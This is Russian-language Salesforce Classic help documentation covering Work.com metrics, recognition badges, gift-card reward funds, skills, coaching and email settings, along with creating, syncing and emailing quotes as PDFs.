ПоказателиWork.com позволяют отслеживать и обнаруживать работу.

1. Откройте вкладку «Показатели».

При необходимости нажмите кнопку «Создать показатель» на странице сведений
о цели.

2. Нажмите кнопку «Создать».

3. Выберите тип записи «Выполнение» или «Завершение» и нажмите кнопку
«Продолжить».

• Показатели выполнения оценивают достижения на основе степени готовности
относительно целевого значения. Данные показатели позволяют отслеживать
строгие цифры и проценты. Например, создайте показатели выполнения
«Преобразовать 50 интересов» или «Достичь 100%-ого качества обслуживания
клиентов».

• Показатели завершения оценивают готовность показателя. Данные показатели
позволяют отслеживать контрольные точки или могут использоваться при
отсутствиипоказателейнаоснове строгихцифр. Например, создайтепоказатель
завершения «Получить сертификат Salesforce».

4. Введите имя показателя и укажите дополнительные сведения.

5. При выборе показателя выполнения введите целевое значение.

Принеобходимостиобновите текущее значениевручнуюилисвяжите его сотчетом
Salesforce. Чтобы связать значение показателя с отчетом, выполните указанные ниже
действия.

a. Щелкните «Из отчета Salesforce» в поле «Текущее значение».

b. Выберите имя отчета.

c. Выберите поле резюмирования.

6. Выберите статус показателя.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Показатели

Общие сведения о целях
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Общие сведения о признании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

Система позволяет выражать коллегам свою признательность и благодарность путем
публикации настраиваемых сообщений, эмблем и наград в ленту Chatter.

Функция «ПризнаниеWork.com» поддерживает функцию «Благодарность» с
неограниченным количеством настраиваемых эмблем и позволяет связывать эмблемы
с реальными наградами (например, подарочные карты). Менеджеры могут создавать
отчеты и панели мониторинга для просмотра данных по лидерам признаний. Помимо
обязательныхполномочийпользователя, администраторорганизациидолженвключить
функции «Благодарность» и «Награды». В зависимости от заданных настроекWork.com,
вкладки «Признание» и «Эмблемы» могут отображаться как вкладки верхнего уровня.
Кроме того, вкладка «Признание» можетотображаться как вложенная вкладка впрофиле
Chatter.

Прим.: Пользователи могут создавать, редактировать, публиковать и вручать
эмблемы-благодарностибез лицензииWork.com. Темнеменее, лицензияWork.com
требуется для использования эмблем, связанных с наградами. Дополнительную
информациюоприобретениикомпонентаWork.comможнополучить в компании
Salesforce.

Вкладка «Эмблемы» предоставляет доступ к библиотеке доступных эмблем. Чтобы создать эмблему, нажмите кнопку
«Создать». Чтобы просмотреть или изменить сведения об эмблеме, щелкните нужную эмблему. Пользователи могут
просматривать только эмблемы, доступные для вручения. Возможность создания или редактирования эмблем может
ограничиваться заданными настойками функции.
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Публикатор Chatter позволяет вручать эмблемы-благодарности. В настоящее время система позволяет одновременно
вручать эмблемытолькоодномупользователю. Дополнительнуюинформациюсм. вразделе «Выражениеблагодарности
сотрудникам».

Вкладка «Признание» профиляChatterпозволяетпросматривать эмблемы, полученныесоответствующимпользователем.

СМ. ТАКЖЕ:

Создание эмблемы

Настройка доступа к эмблемам-благодарностям

Копилки наград

Создание копилок наград

Включение или выключение параметров Work.com
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Создание эмблемы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Эмблемы»:
• Дополнительные

полномочия
пользователя не
требуются

Для создания эмблемы:

• «Создание» для
документов

• Поумолчаниюпараметр
«Разрешить создание
настраиваемых эмблем
только определенной
группе пользователей»
выключен. При
включении данного
параметра
пользователям требуется
полномочие «Создание
определений
настраиваемой
эмблемы».

Пользователи могут создавать настраиваемые эмблемы для выражения коллегам своей
признательности и благодарности.

Просмотреть обзор: Создание эмблемы-благодарности

1. Откройте вкладку «Эмблемы».

При ее отсутствиищелкните , расположенный справа от текущих вкладок, и
выберите данную вкладку на странице «Все вкладки».

2. Нажмите кнопку «Создать».

3. Введите имя и описание эмблемы, добавьте изображение эмблемы и при
необходимости назначьте награды и ограничения.

Прим.:

• Создание эмблемы-награды доступно толькопользователям, включившим
функцию «Награды».

• Эмблемы не могут переноситься из безопасной организации в
производственную организацию.

• Доступ к записям эмблем может быть ограничен посредством связанного
списка «Доступ». Тем не менее, изображения эмблем доступны внешним
пользователям.

ОписаниеПоле эмблемы

Имя эмблемы.Имя эмблемы

Данныйпараметропределяетактивность
и доступность эмблемы для вручения.
Данный параметр включен по
умолчанию.

Активно

При необходимости выберите копилку
наград для данной эмблемы.

Копилка наград

Имя ответственного за эмблему.Имя ответственного

Чтобы использовать данную эмблему
как эмблему компании, установите
данныйфлажок. Создание или
редактирование эмблем компании
доступно только модераторам Chatter.
Эмблемы компании могут вручаться
всеми пользователями.

Эмблема компании

Описание эмблемы.Описание
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ОписаниеПоле эмблемы

Визуальное представление эмблемы. Чтобы выбрать
изображение из локального каталога, щелкните поле

URL-адрес изображения

изображения. Изображения эмблем хранятся в размере
128 х 128 пикселей и доступны внешним пользователям.

Количество доступных эмблем. Данное ограничение
может быть указано для одного или всех пользователей.
По умолчанию количество эмблем не ограничено.

Ограничение количества

Данныйпараметропределяетдату, выбраннуюкакначало
подсчета системойиспользованногоколичества эмблем.
По умолчанию отображается дата создания эмблемы.

Дата начала ограничения

Выберите значение «На пользователя» для применения
параметра «Ограничение количества» к каждому

Тип ограничения

пользователю. Выберите значение «На компанию» для
применения параметра «Ограничение количества» ко
всей организации.

4. Нажмите кнопку «Сохранить».

Поумолчаниюнастраиваемыеэмблемыдоступнывсемвнутреннимпользователям. Чтобыизменитьдоступкнастраиваемой
эмблеме, откройте страницу сведенийонужнойэмблемеинажмите кнопку «Редактироватьсписок» в связанномсписке
«Доступ».

СМ. ТАКЖЕ:

Общие сведения о признании

Настройка доступа к эмблемам-благодарностям

Копилки наград
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Настройка доступа к эмблемам-благодарностям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

Чтобынастроить доступ к эмблеме-благодарности, воспользуйтесь связанным списком
«Доступ».

1. Щелкните нужную эмблему на вкладке «Эмблемы».

При отсутствии вкладки «Эмблемы» щелкните значок , расположенный справа
от текущих вкладок, и выберите данную вкладку на странице «Все вкладки».

2. Нажмите кнопку «Редактировать список» в связанном списке «Доступ».

3. Введите имена нужных общедоступных групп или пользователей.

Доступможетбытьпредоставлентолькопользователямподдерживаемыхлицензий.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о признании

Создание эмблемы

Копилки наград
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Копилки наград

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра копилок
наград:
• «Чтение» для копилок

наград

Для создания копилок
наград:
• «Создание» для наград

«Создание» для копилок
наград

Функция «НаградыWork.com» позволяет пользователямдополнять эмблемыреальными
наградами. Система позволяет связывать эмблемы с реальными наградами,
поддерживаемыми большинством глобальных кодов цифровых подарков.

Администраторорганизациидолженвключитьфункции «Благодарность» и «Награды».

Помимостандартного типа копилкинаград Amazon.com™, функция «НаградыWork.com»
поддерживает другие программы наград. Сведения о награде хранятся в двух объектах:
«Типкопилкинаград» и «Копилканаград». Нижеперечисленыосновныеразличиямежду
данными двумя объектами.

Тип копилки наград
Данный объект хранит неизменные сведения о награде (например, тип валюты,
сведения об активации и сведения о загрузке CSV-файла). Например, Amazon.com™,
iTunes™ или Starbucks™.

Копилка наград
Данный объект хранит коды подарков и может быть связан только с одним типом
копилкинаград. Каждая копилка наград содержит заданное значение, определяемое
пользователем путем приобретения кодов подарков за указанную стоимость.

Например, копилка наград по имени «НаградыА» может содержать коды, связанные
сподарочнымикартами Amazon.com стоимостью $100 каждая. Другая копилканаград
по имени «Награды Б» может содержать коды, связанные с подарочными картами
Amazon.com стоимостью $20 каждая. Данные копилки наград будут относиться к
одному типу копилки наград. Однако, копилка наград, связанная с подарочными
картами Starbucks, будет относиться к другому типу копилки наград.

Чтобы создать эмблемы-награды, выполните указанные ниже действия.

1. Создайте тип копилки наград или воспользуйтесь стандартным типом копилки
наград Amazon.com.

2. Создайте копилку наград и загрузите коды наград.

3. Свяжите эмблему-благодарность с копилкой наград.

СМ. ТАКЖЕ:

Общие сведения о признании

Создание типов копилки наград

Создание копилок наград

Создание эмблемы
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Создание типов копилки наград

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра типов
копилки наград:
• «Чтение» для типов

копилки наград

Для создания типов копилки
наград:
• «Создание» для типов

копилки наград

«Чтение» и «Создание»
для копилок наград

«Чтение» и «Создание»
для наград

Системапозволяетиспользовать типыкопилкинаград для добавленияобщихсведений
онаграде (например, кодывалют, сведенияобактивацииисведенияозагрузке CSV-файла).

1. Откройте вкладку «Тип копилки наград».

Приееотсутствиищелкните значок , расположенныйсправа от текущихвкладок,
и выберите данную вкладку на странице «Все вкладки».

2. Нажмите кнопку «Создать».

3. Введите сведения о типе копилки наград.

Сведения

ОписаниеПоле

Имя типа копилки наград. Рекомендуем использовать
описательное имя (например, «Amazon.CA (Канада)» или
«Starbucks (США)»).

Имя типа копилки
наград

Чтобысвязатьнаградысденежнымвознаграждением, выберите
значение «Коды подарков». В противном случае, выберите
значение «Очки». Типы копилки наград, использующие
кредитную систему «Очки», пропускают поле «Код валюты».

Кредитнаясистема

Параметр, определяющий активность типа копилки наград.Активно

Ответственный за тип копилки наград.Имя
ответственного

Тип валюты.Код валюты

Параметр, доступный только для чтения, которыйопределяет
предопределенность типа копилки наград (например,
стандартный тип Amazon.com). Предопределенные типы
копилкинаграднеподдерживаютизменениеимени, кредитной
системы или кода валюты. Предопределенные типы
генерируются системой и не могут быть изменены.

Предопределено

Активация

ОписаниеПоле

URL-адрес активации награды. Данное поле является
дополнительнымнаосноветипакоданаграды. Нерекомендуем
вводить URL-адрес активации для кодов наград, являющихся
ссылками.

URL-адрес
активации

Инструкции по активации награды, включая любые
дополнительные действия, которые могут потребоваться
пользователю для активации награды.

Сведения об
активации
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Активация

ОписаниеПоле

Дополнительная юридическая информация о типе копилки наград.Условия и отказ от
ответственности

Загрузить конфигурацию

ОписаниеПоле

Столбец CSV-файла, определяющий коды наград. По умолчанию при загрузке
используетсявторойстолбец. Чтобывыбратьдругойстолбец, введитесоответствующий
номер.

Столбец кодов наград

Столбец CSV-файла, определяющий значения наград. По умолчанию при загрузке
используетсятретийстолбец. Чтобывыбратьдругойстолбец, введитесоответствующий
номер.

Столбец значений наград

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Копилки наград

Создание копилок наград

Создание эмблемы

Общие сведения о признании
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Создание копилок наград

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Награды» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра копилок
наград:
• «Чтение» для копилок

наград

Для создания копилок
наград:
• «Создание» для копилок

наград

«Создание» для наград

Рекомендуем использовать копилки наград для хранения кодов подарков, связанных с
типом копилки наград.

Пользователи могут создавать эмблемы-награды на основе созданных копилок наград.
Копилки наград могут содержать подарочные карты Amazon.com™, приобретенные
посредством одного из сторонних поставщиков (например, TangoCard™), или другие
программы наград.

1. Откройте вкладку «Копилка наград».

Приееотсутствиищелкните значок , расположенныйсправа от текущихвкладок,
и выберите данную вкладку на странице «Все вкладки».

2. Нажмите кнопку «Создать».

3. Введите имя, заполните поле «Тип копилки наград» и укажите значение награды.

4. Нажмите кнопку «Сохранить».

5. Загрузите или введите коды подарков.

• Чтобы загрузить коды подарков посредством CSV-файла, последовательно
выберите параметры «Загрузить CSV-файл» и «Выбратьфайл». Выберите
нужный CSV-файл и нажмите кнопку «Загрузить».

По умолчанию при загрузке второй столбец используется для кодов наград, а
третий — для значенийнаград. Однакоможнонастроитьих значениеразличным
образомдлясоответствующеготипакопилкинаград. См. примерформатирования
файла CSV:

Прим.: Убедитесь, чтоданныекоданаградыотображаютсянавторойстроке
CSV-файла. Первая строка отображается как строка заголовка, поэтому не
загружается.
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• Чтобыввестикодыподарковвручную, нажмитекнопку «Создатьнаграду». Введитекодподаркаинажмитекнопку
«Сохранить».

СМ. ТАКЖЕ:

Общие сведения о признании

Копилки наград

Создание типов копилки наград

Создание эмблемы

Общие сведения о признании

Общие сведения о навыках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Навыки позволяют пользователям предоставлять доступ к сведениям о своем
профессиональном опыте. Рекомендуем использовать навыки для обнаружения,
сотрудничества и подтверждения других пользователей на основе их уровня знаний.

Функция «Навыки» позволяет быстро находить экспертов в разных областях. Чтобы
добавитьилиудалитьнавыки, воспользуйтесьстраницейпрофиляChatterилистраницей
сведений о записи. При необходимости данные навыки могут быть подтверждены
другими пользователями. Чтобы найти экспертов с конкретными навыками,
воспользуйтесь полем глобального поиска.

Добавление навыка посредством страниц сведений о записях
Система позволяет добавлять навыки для предоставления другим пользователям доступа к сведениям о своем
профессиональном опыте.

Удаление навыка посредством страниц сведений о записях
Система позволяет удалять ненужные навыки.
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Подтверждение навыка посредством страниц сведений о записях
Система позволяет подтверждать навыки пользователя для уточнения его профессионального опыта в отдельных
областях.

СМ. ТАКЖЕ:

Включение или выключение параметров Work.com

Настройка навыков

Ограничения для навыков

Добавление навыка посредством страниц сведений о записях

Добавление навыка посредством страниц сведений о записях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления навыков:
• «Создание» для навыков

и пользователей навыка

Системапозволяетдобавлятьнавыкидляпредоставлениядругимпользователямдоступа
к сведениям о своем профессиональном опыте.

Чтобыдобавитьтекущийнавык, воспользуйтесьфункциейглобальногопоискаинажмите
кнопку «Добавить в мой профиль» в записи навыка.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмите кнопку «Создать навык» в связанном списке «Навыки пользователя».

3. Введите имя навыка и дополнительное описание.

4. Нажмите кнопку «Сохранить».
Данное действие инициирует создание навыка.

5. Нажмите кнопку «Добавить в мой профиль».

6. Нажмите кнопку «Сохранить».
Данное действие инициирует связывание навыка с пользователем.

При необходимости добавьте навыки на страницах профиля Chatter.

СМ. ТАКЖЕ:

Общие сведения о навыках

Удаление навыка посредством страниц сведений о записях

Подтверждение навыка посредством страниц сведений о записях

Индивидуальная настройка системы Salesforce
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Удаление навыка посредством страниц сведений о записях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления навыков:
• «Чтение» для навыков

И

«Удаление» для
пользователей навыка

Система позволяет удалять ненужные навыки.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Щелкнитессылку«Удал.»напротивнужногонавыкавразделе «Навыкипользователя».

3. Нажмите кнопку «OK».

Данноедействиеинициирует удалениесвязимеждунавыкомипользователем; самнавык
не удаляется. Удаление навыков доступно только ответственным за навыки и
пользователям с полномочием «Изменение всех данных».

При необходимости удалите навыки на страницах профиля Chatter.

СМ. ТАКЖЕ:

Общие сведения о навыках

Добавление навыка посредством страниц сведений о записях

Подтверждение навыка посредством страниц сведений о записях

Индивидуальная настройка системы Salesforce

Подтверждение навыка посредством страниц сведений о записях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
подтверждений в навыки:
• «Создание» для

подтверждений

И

«Чтение» для навыков и
пользователей навыка

Система позволяет подтверждать навыки пользователя для уточнения его
профессионального опыта в отдельных областях.

1. Откройте страницу профиля нужного пользователя.

2. Щелкните значок в верхнем правом углу и выберите пункт «Сведения о
пользователе».

3. Щелкните ссылку «Подтверждения» напротив нужного навыка в разделе «Навыки
пользователя».

4. Нажмите кнопку «Добавить подтверждение».

5. Нажмите кнопку «Сохранить».

При необходимости подтвердите навыки на страницах профиля Chatter.

СМ. ТАКЖЕ:

Общие сведения о навыках

Добавление навыка посредством страниц сведений о записях

Удаление навыка посредством страниц сведений о записях
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Общие сведения об обучении

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Обучение»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра пространств
обучения:
• «Чтение» для обучения

Для создания пространств
обучения:
• «Создание» для

обучения

Функция «ОбучениеWork.com» позволяет пользователям выбирать роль обучающего
или обучаемого другим сотрудником компании. Кроме того, пользователи могут
обмениваться пространствами обучения для добавления других наблюдателей и
участников. Функция «Обучение» доступна посредством вкладки «Обучение» или
страницы профиля.

Ниже перечислены действия, доступные на странице обучения.

• Просмотрите список пространств обучения.

Создайте собственные фильтры (например, «Мои обучающие», «Обучаемые мною
люди» и «Неактивные взаимосвязи»), соответствующие требованиям организации.

• Чтобы создать пространство обучения, нажмите кнопку «Создать». Пользователи
могут создавать столько пространств обучения, сколько им требуется.

Чтобы открыть страницу сведений о пространстве обучения, выберите нужное
пространство в списковом представлении.

Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть связанную ленту, щелкните ссылку «Показать ленту».
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Лента отображается только после включения администраторомфункции отслеживания ленты Chatter.

• Просмотрите связанные цели, показатели, действия, примечания и вложения.

• Деактивируйте ненужные пространства обучения. Данное действие сохраняет журнал записи. При необходимости
пространство обучения может быть повторно активировано.

• Удалите пространства обучения (при наличии соответствующего уровня доступа).

СМ. ТАКЖЕ:

Общие сведения о целях

Рекомендации по использованию задач

Рекомендации по использованию событий и календарей

Настройка функции отслеживания лент Chatter

Включение или выключение параметров Work.com

Настройка параметров эл. почты Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
эл. почты:
• Дополнительные

полномочия не
требуются

Системапозволяет включать эл. почтуWork.comдляполученияуведомлений, связанных
с отзывами и наградамиWork.com.

1. Вразделе личныхпараметров введите строку «Work.com» в поле Быстрый поиск,
затем выберите пункт «Параметры эл. почты».

2. Установите флажок «Принимать сообщения эл. почты» в разделе «Общие».

Чтобыотменитьполучениесообщенийэл. почтыWork.com, снимитеданныйфлажок.

3. Выберите нужный тип сообщений эл. почты в разделе «Личные».

ОписаниеПараметр эл. почты

Данный параметр позволяет получать
сообщения эл. почты при вручении
награды.

Кто-то вручает мне награду

Данный параметр позволяет получать
сообщения эл. почты при получении
запросанаотзывилипубликацииответа
на заданный вопрос.

Мне предлагается оставить отзыв или
кто-то оставляет отзыв на заданный
мною вопрос

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Включение или выключение параметров Work.com

Индивидуальная настройка системы Salesforce

1612

Настройка параметров эл. почты Work.comПродажи клиентам



Создание смет и документирование контрактов

Сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сметы в Salesforce содержат установленныеценына продуктыи услуги компании. Смета
может быть создана на основе возможностии ее продуктов. Каждая возможностьможет
иметьнесколькосвязанныхсмет, которыемогутбытьсинхронизированысвозможностью.
Если смета и возможность синхронизированы, то любое изменение элементов строки
сметы инициирует синхронизацию с продуктами возможности и наоборот.

Создание смет и управление ими
Пользователи могут создавать сметы, чтобы передавать клиентам сведения о ценах
на продукты и услуги. Чтобы предоставить клиентам возможность сравнения цен,
рекомендуем создать набор смет, поддерживающихразные комбинациипродуктов,
скидок и количеств. Управление сметами позволяет поддерживать их актуальность.

Синхронизация смет и возможностей
Сметуможносвязать с возможностью, наосновекоторойданнаясметабыласоздана. Такимобразом, приобновлении
одной записи происходит обновление другой.

Создание PDF-смет и отправка их по электронной почте
PDF — это простой способ отправки смет клиентам. Файл PDF можно создать на основе стандартного шаблона или
шаблона компании. Созданную таким образом смету можно отправить со страницы предварительного просмотра
на утверждение клиенту.

Рекомендации по удалению смет
Перед удалением сметы следует оценить последствия для связанных со сметой документов PDF и синхронизации
возможностей.

СМ. ТАКЖЕ:

Возможности

Поля смет
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Создание смет и управление ими

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра смет:
• «Чтение» для смет

Для создания смет:
• «Создание» для смет

Для добавления элементов
строки сметы:
• «Редактирование» для

смет

И

«Чтение» для продуктов
и прайс-листов

Пользователи могут создавать сметы, чтобы передавать клиентам сведения о ценах на
продукты и услуги. Чтобы предоставить клиентам возможность сравнения цен,
рекомендуем создать набор смет, поддерживающих разные комбинации продуктов,
скидок и количеств. Управление сметами позволяет поддерживать их актуальность.

1. Нажмите кнопку «Создать смету» в связанном списке возможности «Сметы». Поля
«Промежуточная сумма», «Скидка», «Итого к оплате» и «Общая сумма»
отображают значения, указанные в возможности.

2. Заполните поля.

3. Сохраните внесенные изменения.

• Смете присваивается уникальный номер.

• Продукты возможности копируются в смету как элементы строки.

• Общаясуммапересчитываетсянаосновелюбыхвведенныхналоговилисведений
об отправке.

Чтобы добавить элементы строки в смету, выполните указанные ниже действия.

1. Нажмитекнопку«Добавитьэлементстроки» в связанномсписке «Элементыстроки
сметы».

2. Если прайс-лист для возможности не выбран, выберите прайс-лист для сметы. В
противном случае смета использует прайс-лист возможности.

3. Чтобы найти элемент строки, введите критерий поиска.

4. Выберите нужные продукты и нажмите кнопку «Выбрать».

5. Заполнитеполя. Реализационнаяценапо умолчаниюопределяется ценойпродукта
попрайс-листу. Взависимостиотпредоставленныхполномочийпользовательможет
редактировать реализационную цену.

6. Сохраните внесенные изменения.

Элементы строки добавляются в связанный список «Элементы строки сметы». Общая сумма в разделе сведений —
это сумма связанных элементов строки. Скидка — это средняя скидка для элементов строки.

СМ. ТАКЖЕ:

Рекомендации по созданию смет и элементов строки сметы и управлению ими

Создание PDF-смет и отправка их по электронной почте
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Синхронизация смет и возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации смет:
• «Создание» для смет

Смету можно связать с возможностью, на основе которой данная смета была создана.
Таким образом, при обновлении одной записи происходит обновление другой.

1. Откройте нужную смету и нажмите кнопку «Начать синхронизацию».

2. Нажмите «Продолжить», «Синхронизация», а затем «Готово».

Теперь смета и возможность синхронизированы. Синхронизируемая смета
определяется полем возможности «Синхронизированная смета» и связанным
списком «Сметы».

3. Чтобы отменить синхронизацию, откройте синхронизированную смету и нажмите
кнопку «Остановить синхронизацию».

Данное действие отменяет обновление записей внесенными изменениями.

4. Чтобы синхронизировать возможность с другой сметой, выполните действия,
необходимые для синхронизации сметы.

Синхронизацияпредыдущейсметыотменяется, иначинаетсясинхронизацияновой
сметы.

СМ. ТАКЖЕ:

Порядок синхронизации смет

Устранение неполадок при синхронизации смет

Создание PDF-смет и отправка их по электронной почте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания PDF-смет и
отправки их по электронной
почте:
• «Редактирование» для

смет

PDF — это простой способ отправки смет клиентам. Файл PDF можно создать на основе
стандартногошаблонаилишаблона компании. Созданнуютакимобразомсметуможно
отправить со страницы предварительного просмотра на утверждение клиенту.

Создание PDF-смет на основе стандартногошаблона
Если настраиваемые шаблоны или PDF-документы отсутствуют, рекомендуем
воспользоваться стандартнымшаблоном.

1. Чтобы открыть окно предварительного просмотра, нажмите кнопку «Создать
PDF» на странице сведений о смете.

2. Чтобысохранить PDF-документв связанныйсписок «PDF-сметы», нажмитекнопку
«Сохранить в смету». Имя PDF-документа содержит имя сметы и номер версии
(например, AcmeQuote_V1).

Создание PDF-смет путем выборашаблона
Если PDF-документ уже создан, рекомендуем выбрать один из недавних шаблонов.
Если PDF-документ не создан или нужныйшаблон отсутствует, рекомендуем
воспользоваться функцией поиска.

1. Щелкнитераскрывающийсясписок«Создать PDF»настраницесведенийосмете.
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2. Выберите шаблон из списка «Недавние шаблоны» илищелкните «Выбрать шаблон» и найдите нужныйшаблон.
Чтобы пропустить список недавних шаблонов и выбрать другой шаблон, нажмите кнопку «Создать PDF» на
странице сведений о смете.

3. Чтобы открыть окно предварительного просмотра, нажмите кнопку «Создать PDF».

4. Чтобы сохранить PDF-документ в связанный список «PDF-сметы», нажмите кнопку «Сохранить в смету». Имя
PDF-документа содержит имя сметы и номер версии (например, AcmeQuote_V1).

Отправка PDF-смет по электронной почте

1. Щелкните кнопку отправки по электронной почте на странице предварительного просмотра PDF, странице
сведений о смете и рядом с нужнымфайлом в связанном списке PDF-смет.

Приэтомоткроется задача электроннойпочтысовложеннойтекущей PDF-сметой. Чтобыотправитьпредыдущую
версию, перейдите по ссылке «Эл. почта» напротив нужной версии в связанном списке «PDF-сметы».

2. Введите адрес электронной почты клиента, тему и текст сообщения, затем нажмите кнопку «Отправить».

СМ. ТАКЖЕ:

Рекомендации по созданию PDF-смет

Рекомендации по удалению смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Передудалениемсметыследуетоценитьпоследствиядлясвязанныхсосметойдокументов
PDF и синхронизации возможностей.

• Удаление сметы доступно пользователям с соответствующим полномочием:
администраторам, ответственнымилиихменеджерамвиерархииролейорганизации.

• Ниже перечислены действия, инициируемые при удалении сметы. При этом
удаляются все связанные документы PDF, заметки и вложения. Если смета
синхронизирована с возможностью, то запись удаляется из связанного списка
возможности «Сметы». Удаленная смета перемещается в корзину.

• Смета, которая раньше синхронизировалась с возможностью, не синхронизируется
после восстановления.

Рекомендации по созданию смет и элементов строки сметы и управлению
ими

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведены основные моменты, которые следует учитывать при создании смет
или работе с элементами строки.

Прим.: Доступ пользователя к задачам определяется его уровнем полномочий.
Если какие-либо задачи недоступны, обратитесь к администратору Salesforce.

• Чтобы пользователь мог создать смету для возможности, соответствующие
прайс-листы, продукты и цены по прайс-листу должны быть активны.

• Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition
позволяют активировать типы записей и предлагать выбор значения в поле «Тип
записи» присозданиисметы. Типызаписейопределяютзначенияраскрывающегося
списка и бизнес-процессы, доступные при создании и редактировании записи.
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• Если в организации Salesforce включена поддержка подразделений, то подразделению новой сметы автоматически
назначается подразделение связанной возможности.

• Если смета синхронизирована с возможностью, то при добавлении нового элемента строки он копируется в
возможность как продукт в связанном списке «Продукты».

• Если возможность синхронизирована со сметой, то удаление элемента строки сметы инициирует удаление
соответствующего продукта из связанного списка возможности «Продукты».

• Если продукт использует стандартные расписания, то расписания не создаются при добавлении элемента строки.
